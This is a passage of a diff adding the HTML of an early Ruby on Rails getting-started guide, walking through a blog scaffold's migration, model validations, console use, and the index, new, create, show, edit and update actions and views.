+      t<span style="color: #990000">.</span>text <span style="color: #990000">:</span>content
+
+      t<span style="color: #990000">.</span>timestamps
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+    drop_table <span style="color: #990000">:</span>posts
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If you were to translate that into words, it says something like: when this migration is run, create a table named <tt>posts</tt> with two string columns (<tt>name</tt> and <tt>title</tt>) and a text column (<tt>content</tt>), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the <a href="../migrations.html">Rails Database Migrations</a> guide.</p></div>
+<div class="para"><p>At this point, you need to do two things: create the database and run the migration. You can use rake commands at the terminal for both of those tasks:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ rake db<span style="color: #990000">:</span>create
+$ rake db<span style="color: #990000">:</span>migrate
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">Because you're working in the development environment by default, both of these commands will apply to the database defined in the <tt>development</tt> section of your <tt>config/database.yml</tt> file.</td>
+</tr></table>
+</div>
+<h3 id="_adding_a_link">6.2. Adding a Link</h3>
+<div class="para"><p>To hook the posts up to the home page you've already created, you can add a link to the home page. Open <tt>/app/views/home/index.html.erb</tt> and modify it as follows:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>Hello<span style="color: #990000">,</span> Rails!<span style="color: #FF0000">&lt;/h1&gt;</span>
+
+<span style="color: #FF0000">&lt;%= link_to "My Blog", posts_path %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>link_to</tt> method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for posts.</p></div>
+<h3 id="_working_with_posts_in_the_browser">6.3. Working with Posts in the Browser</h3>
+<div class="para"><p>Now you're ready to start working with posts. To do that, navigate to <tt>http://localhost:3000</tt> and then click the "My Blog" link:</p></div>
+<div class="para"><p><span class="image">
+<img src="images/posts_index.png" alt="Posts Index screenshot" title="Posts Index screenshot" />
+</span></p></div>
+<div class="para"><p>This is the result of Rails rendering the <tt>index</tt> view of your posts. There aren't currently any posts in the database, but if you click the <tt>New Post</tt> link you can create one. After that, you'll find that you can edit posts, look at their details, or destroy them. All of the logic and HTML to handle this was built by the single <tt>script/generate scaffold</tt> command.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server.</td>
+</tr></table>
+</div>
+<div class="para"><p>Congratulations, you're riding the rails! Now it's time to see how it all works.</p></div>
+<h3 id="_the_model">6.4. The Model</h3>
+<div class="para"><p>The model file, <tt>app/models/post.rb</tt> is about as simple as it can get:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Post <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>There isn't much to this file - but note that the <tt>Post</tt> class inherits from <tt>ActiveRecord::Base</tt>. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another.</p></div>
+<h3 id="_adding_some_validation">6.5. Adding Some Validation</h3>
+<div class="para"><p>Rails includes methods to help you validate the data that you send to models. Open the <tt>app/models/post.rb</tt> file and edit it:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Post <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validates_presence_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>title
+  validates_length_of <span style="color: #990000">:</span>title<span style="color: #990000">,</span> <span style="color: #990000">:</span>minimum <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects.</p></div>
+<h3 id="_using_the_console">6.6. Using the Console</h3>
+<div class="para"><p>To see your validations in action, you can use the console. The console is a command-line tool that lets you execute Ruby code in the context of your application:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/console
+</tt></pre></div></div>
+<div class="para"><p>After the console loads, you can use it to work with your application's models:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">&gt;&gt;</span> p <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>create<span style="color: #990000">(:</span>content <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"A new post"</span><span style="color: #990000">)</span>
+<span style="color: #990000">=&gt;</span> <span style="font-style: italic"><span style="color: #9A1900">#&lt;Post id: nil, name: nil, title: nil, content: "A new post",</span></span>
+created_at<span style="color: #990000">:</span> nil<span style="color: #990000">,</span> updated_at<span style="color: #990000">:</span> nil<span style="color: #990000">&gt;</span>
+<span style="color: #990000">&gt;&gt;</span> p<span style="color: #990000">.</span>save
+<span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
+<span style="color: #990000">&gt;&gt;</span> p<span style="color: #990000">.</span>errors
+<span style="color: #990000">=&gt;</span> <span style="font-style: italic"><span style="color: #9A1900">#&lt;ActiveRecord::Errors:0x23bcf0c @base=#&lt;Post id: nil, name: nil,</span></span>
+title<span style="color: #990000">:</span> nil<span style="color: #990000">,</span> content<span style="color: #990000">:</span> <span style="color: #FF0000">"A new post"</span><span style="color: #990000">,</span> created_at<span style="color: #990000">:</span> nil<span style="color: #990000">,</span> updated_at<span style="color: #990000">:</span> nil<span style="color: #990000">&gt;,</span>
+@<span style="color: #009900">errors</span><span style="color: #990000">=</span>{<span style="color: #FF0000">"name"</span><span style="color: #990000">=&gt;[</span><span style="color: #FF0000">"can't be blank"</span><span style="color: #990000">],</span> <span style="color: #FF0000">"title"</span><span style="color: #990000">=&gt;[</span><span style="color: #FF0000">"can't be blank"</span><span style="color: #990000">,</span>
+<span style="color: #FF0000">"is too short (minimum is 5 characters)"</span><span style="color: #990000">]</span>}<span style="color: #990000">&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>This code shows creating a new <tt>Post</tt> instance, attempting to save it and getting <tt>false</tt> for a return value (indicating that the save failed), and inspecting the <tt>errors</tt> of the post.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes, type <tt>reload!</tt> at the console prompt to load them.</td>
+</tr></table>
+</div>
+<h3 id="_listing_all_posts">6.7. Listing All Posts</h3>
+<div class="para"><p>The easiest place to start looking at functionality is with the code that lists all posts. Open the file <tt>app/controllers/posts_controller.rb </tt> and look at the <tt>index</tt> action:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
+  <span style="color: #009900">@posts</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
+
+  respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
+    format<span style="color: #990000">.</span>html <span style="font-style: italic"><span style="color: #9A1900"># index.html.erb</span></span>
+    format<span style="color: #990000">.</span>xml  <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@posts</span> <span style="color: #FF0000">}</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This code sets the <tt>@posts</tt> instance variable to an array of all posts in the database. <tt>Post.find(:all)</tt> or <tt>Post.all</tt> calls the <tt>Post</tt> model to return all of the posts that are currently in the database, with no limiting conditions.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">For more information on finding records with Active Record, see <a href="../finders.html">Active Record Finders</a>.</td>
+</tr></table>
+</div>
+<div class="para"><p>The <tt>respond_to</tt> block handles both HTML and XML calls to this action. If you browse to <tt>http://localhost:3000/posts.xml</tt>, you'll see all of the posts in XML format. The HTML format looks for a view in <tt>app/views/posts/</tt> with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here's <tt>app/view/posts/index.html.erb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>Listing posts<span style="color: #FF0000">&lt;/h1&gt;</span>
+
+<span style="color: #FF0000">&lt;table&gt;</span>
+  <span style="color: #FF0000">&lt;tr&gt;</span>
+    <span style="color: #FF0000">&lt;th&gt;</span>Name<span style="color: #FF0000">&lt;/th&gt;</span>
+    <span style="color: #FF0000">&lt;th&gt;</span>Title<span style="color: #FF0000">&lt;/th&gt;</span>
+    <span style="color: #FF0000">&lt;th&gt;</span>Content<span style="color: #FF0000">&lt;/th&gt;</span>
+  <span style="color: #FF0000">&lt;/tr&gt;</span>
+
+<span style="color: #FF0000">&lt;% for post in @posts %&gt;</span>
+  <span style="color: #FF0000">&lt;tr&gt;</span>
+    <span style="color: #FF0000">&lt;td&gt;&lt;%=h post.name %&gt;&lt;/td&gt;</span>
+    <span style="color: #FF0000">&lt;td&gt;&lt;%=h post.title %&gt;&lt;/td&gt;</span>
+    <span style="color: #FF0000">&lt;td&gt;&lt;%=h post.content %&gt;&lt;/td&gt;</span>
+    <span style="color: #FF0000">&lt;td&gt;&lt;%= link_to 'Show', post %&gt;&lt;/td&gt;</span>
+    <span style="color: #FF0000">&lt;td&gt;&lt;%= link_to 'Edit', edit_post_path(post) %&gt;&lt;/td&gt;</span>
+    <span style="color: #FF0000">&lt;td&gt;&lt;%= link_to 'Destroy', post, :confirm =&gt;</span> <span style="color: #FF0000">'Are you sure?'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>delete <span style="color: #990000">%&gt;</span><span style="color: #FF0000">&lt;/td&gt;</span>
+  <span style="color: #FF0000">&lt;/tr&gt;</span>
+<span style="color: #FF0000">&lt;% end %&gt;</span>
+<span style="color: #FF0000">&lt;/table&gt;</span>
+
+<span style="color: #FF0000">&lt;br /&gt;</span>
+
+<span style="color: #FF0000">&lt;%= link_to 'New post', new_post_path %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>This view iterates over the contents of the <tt>@posts</tt> array to display content and links. A few things to note in the view:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>h</tt> is a Rails helper method to sanitize displayed data, preventing cross-site scripting attacks
+</p>
+</li>
+<li>
+<p>
+<tt>link_to</tt> builds a hyperlink to a particular destination
+</p>
+</li>
+<li>
+<p>
+<tt>edit_post_path</tt> is a helper that Rails provides as part of RESTful routing. You’ll see a variety of these helpers for the different actions that the controller includes.
+</p>
+</li>
+</ul></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">For more details on the rendering process, see <a href="../layouts_and_rendering.html">Layouts and Rendering in Rails</a>.</td>
+</tr></table>
+</div>
+<h3 id="_customizing_the_layout">6.8. Customizing the Layout</h3>
+<div class="para"><p>The view is only part of the story of how HTML is displayed in your web browser. Rails also has the concept of <tt>layouts</tt>, which are containers for views. When Rails renders a view to the browser, it does so by putting the view's HTML into a layout's HTML. The <tt>script/generate scaffold</tt> command automatically created a default layout, <tt>app/views/layouts/posts.html.erb</tt>, for the posts. Open this layout in your editor and modify the <tt>body</tt> tag:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">&lt;!</span>DOCTYPE html PUBLIC <span style="color: #FF0000">"-//W3C//DTD XHTML 1.0 Transitional//EN"</span>
+       <span style="color: #FF0000">"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"</span><span style="color: #990000">&gt;</span>
+
+<span style="color: #FF0000">&lt;html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"&gt;</span>
+<span style="color: #FF0000">&lt;head&gt;</span>
+  <span style="color: #FF0000">&lt;meta http-equiv="content-type" content="text/html;charset=UTF-8" /&gt;</span>
+  <span style="color: #FF0000">&lt;title&gt;</span>Posts<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= controller.action_name %&gt;&lt;/title&gt;</span>
+  <span style="color: #FF0000">&lt;%= stylesheet_link_tag 'scaffold' %&gt;</span>
+<span style="color: #FF0000">&lt;/head&gt;</span>
+<span style="color: #FF0000">&lt;body style="background: #EEEEEE;"&gt;</span>
+
+<span style="color: #FF0000">&lt;p style="color: green"&gt;&lt;%= flash[:notice] %&gt;&lt;/p&gt;</span>
+
+<span style="color: #FF0000">&lt;%= yield  %&gt;</span>
+
+<span style="color: #FF0000">&lt;/body&gt;</span>
+<span style="color: #FF0000">&lt;/html&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>Now when you refresh the <tt>/posts</tt> page, you'll see a gray background to the page. This same gray background will be used throughout all the views for posts.</p></div>
+<h3 id="_creating_new_posts">6.9. Creating New Posts</h3>
+<div class="para"><p>Creating a new post involves two actions. The first is the <tt>new</tt> action, which instantiates an empty <tt>Post</tt> object:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
+  <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>new
+
+  respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
+    format<span style="color: #990000">.</span>html <span style="font-style: italic"><span style="color: #9A1900"># new.html.erb</span></span>
+    format<span style="color: #990000">.</span>xml  <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span> <span style="color: #FF0000">}</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>new.html.erb</tt> view displays this empty Post to the user:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>New post<span style="color: #FF0000">&lt;/h1&gt;</span>
+
+<span style="color: #FF0000">&lt;% form_for(@post) do |f| %&gt;</span>
+  <span style="color: #FF0000">&lt;%= f.error_messages %&gt;</span>
+
+  <span style="color: #FF0000">&lt;p&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.label :name %&gt;&lt;br /&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.text_field :name %&gt;</span>
+  <span style="color: #FF0000">&lt;/p&gt;</span>
+  <span style="color: #FF0000">&lt;p&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.label :title %&gt;&lt;br /&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.text_field :title %&gt;</span>
+  <span style="color: #FF0000">&lt;/p&gt;</span>
+  <span style="color: #FF0000">&lt;p&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.label :content %&gt;&lt;br /&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.text_area :content %&gt;</span>
+  <span style="color: #FF0000">&lt;/p&gt;</span>
+  <span style="color: #FF0000">&lt;p&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.submit "Create" %&gt;</span>
+  <span style="color: #FF0000">&lt;/p&gt;</span>
+<span style="color: #FF0000">&lt;% end %&gt;</span>
+
+<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>form_for</tt> block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, <tt>f.text_field :name</tt> tells Rails to create a text input on the form, and to hook it up to the <tt>name</tt> attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case <tt>name</tt>, <tt>title</tt>, and <tt>content</tt>). Rails uses <tt>form_for</tt> in preference to having your write raw HTML because the code is more succinct, and because it explicitly ties the form to a particular model instance.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">If you need to create an HTML form that displays arbitrary fields, not tied to a model, you should use the <tt>form_tag</tt> method, which provides shortcuts for building forms that are not necessarily tied to a model instance.</td>
+</tr></table>
+</div>
+<div class="para"><p>When the user clicks the <tt>Create</tt> button on this form, the browser will send information back to the <tt>create</tt> method of the controller (Rails knows to call the <tt>create</tt> method because the form is sent with an HTTP POST request; that's one of the conventions that I mentioned earlier):</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+  <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post<span style="color: #990000">])</span>
+
+  respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>save
+      flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">'Post was successfully created.'</span>
+      format<span style="color: #990000">.</span>html <span style="color: #FF0000">{</span> redirect_to<span style="color: #990000">(</span><span style="color: #009900">@post</span><span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
+      format<span style="color: #990000">.</span>xml  <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>created<span style="color: #990000">,</span> <span style="color: #990000">:</span>location <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span> <span style="color: #FF0000">}</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+      format<span style="color: #990000">.</span>html <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span> <span style="color: #FF0000">}</span>
+      format<span style="color: #990000">.</span>xml  <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>errors<span style="color: #990000">,</span> <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>unprocessable_entity <span style="color: #FF0000">}</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>create</tt> action instantiates a new Post object from the data supplied by the user on the form, which Rails makes available in the <tt>params</tt> hash. After saving the new post, it uses <tt>flash[:notice]</tt> to create an informational message for the user, and redirects to the show action for the post. If there's any problem, the <tt>create</tt> action just shows the <tt>new</tt> view a second time, with any error messages.</p></div>
+<div class="para"><p>Rails provides the <tt>flash</tt> hash (usually just called the Flash) so that messages can be carried over to another action, providing the user with useful information on the status of their request.  In the case of <tt>create</tt>, the user never actually sees any page rendered during the Post creation process, because it immediately redirects to the new Post as soon Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the <tt>show</tt> action, they are presented with a message saying "Post was successfully created."</p></div>
+<h3 id="_showing_an_individual_post">6.10. Showing an Individual Post</h3>
+<div class="para"><p>When you click the <tt>show</tt> link for a post on the index page, it will bring you to a URL like <tt>http://localhost:3000/posts/1</tt>. Rails interprets this as a call to the <tt>show</tt> action for the resource, and passes in <tt>1</tt> as the <tt>:id</tt> parameter. Here's the <tt>show</tt> action:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
+  <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+
+  respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
+    format<span style="color: #990000">.</span>html <span style="font-style: italic"><span style="color: #9A1900"># show.html.erb</span></span>
+    format<span style="color: #990000">.</span>xml  <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span> <span style="color: #FF0000">}</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>show</tt> action uses <tt>Post.find</tt> to search for a single record in the database by its id value. After finding the record, Rails displays it by using <tt>show.html.erb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;p&gt;</span>
+  <span style="color: #FF0000">&lt;b&gt;</span>Name<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
+  <span style="color: #FF0000">&lt;%=h @post.name %&gt;</span>
+<span style="color: #FF0000">&lt;/p&gt;</span>
+
+<span style="color: #FF0000">&lt;p&gt;</span>
+  <span style="color: #FF0000">&lt;b&gt;</span>Title<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
+  <span style="color: #FF0000">&lt;%=h @post.title %&gt;</span>
+<span style="color: #FF0000">&lt;/p&gt;</span>
+
+<span style="color: #FF0000">&lt;p&gt;</span>
+  <span style="color: #FF0000">&lt;b&gt;</span>Content<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
+  <span style="color: #FF0000">&lt;%=h @post.content %&gt;</span>
+<span style="color: #FF0000">&lt;/p&gt;</span>
+
+
+<span style="color: #FF0000">&lt;%= link_to 'Edit', edit_post_path(@post) %&gt;</span> <span style="color: #990000">|</span>
+<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span>
+</tt></pre></div></div>
+<h3 id="_editing_posts">6.11. Editing Posts</h3>
+<div class="para"><p>Like creating a new post, editing a post is a two-part process. The first step is a request to <tt>edit_post_path(@post)</tt> with a particular post. This calls the <tt>edit</tt> action in the controller:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
+  <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>After finding the requested post, Rails uses the <tt>edit.html.erb</tt> view to display it:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>Editing post<span style="color: #FF0000">&lt;/h1&gt;</span>
+
+<span style="color: #FF0000">&lt;% form_for(@post) do |f| %&gt;</span>
+  <span style="color: #FF0000">&lt;%= f.error_messages %&gt;</span>
+
+  <span style="color: #FF0000">&lt;p&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.label :name %&gt;&lt;br /&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.text_field :name %&gt;</span>
+  <span style="color: #FF0000">&lt;/p&gt;</span>
+  <span style="color: #FF0000">&lt;p&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.label :title %&gt;&lt;br /&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.text_field :title %&gt;</span>
+  <span style="color: #FF0000">&lt;/p&gt;</span>
+  <span style="color: #FF0000">&lt;p&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.label :content %&gt;&lt;br /&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.text_area :content %&gt;</span>
+  <span style="color: #FF0000">&lt;/p&gt;</span>
+  <span style="color: #FF0000">&lt;p&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.submit "Update" %&gt;</span>
+  <span style="color: #FF0000">&lt;/p&gt;</span>
+<span style="color: #FF0000">&lt;% end %&gt;</span>
+
+<span style="color: #FF0000">&lt;%= link_to 'Show', @post %&gt;</span> <span style="color: #990000">|</span>
+<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>Submitting the form created by this view will invoke the <tt>update</tt> action within the controller:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> update
+  <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+
+  respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>update_attributes<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post<span style="color: #990000">])</span>
+      flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">'Post was successfully updated.'</span>
+      format<span style="color: #990000">.</span>html <span style="color: #FF0000">{</span> redirect_to<span style="color: #990000">(</span><span style="color: #009900">@post</span><span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
+      format<span style="color: #990000">.</span>xml  <span style="color: #FF0000">{</span> head <span style="color: #990000">:</span>ok <span style="color: #FF0000">}</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+      format<span style="color: #990000">.</span>html <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"edit"</span> <span style="color: #FF0000">}</span>
+      format<span style="color: #990000">.</span>xml  <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>errors<span style="color: #990000">,</span> <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>unprocessable_entity <span style="color: #FF0000">}</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
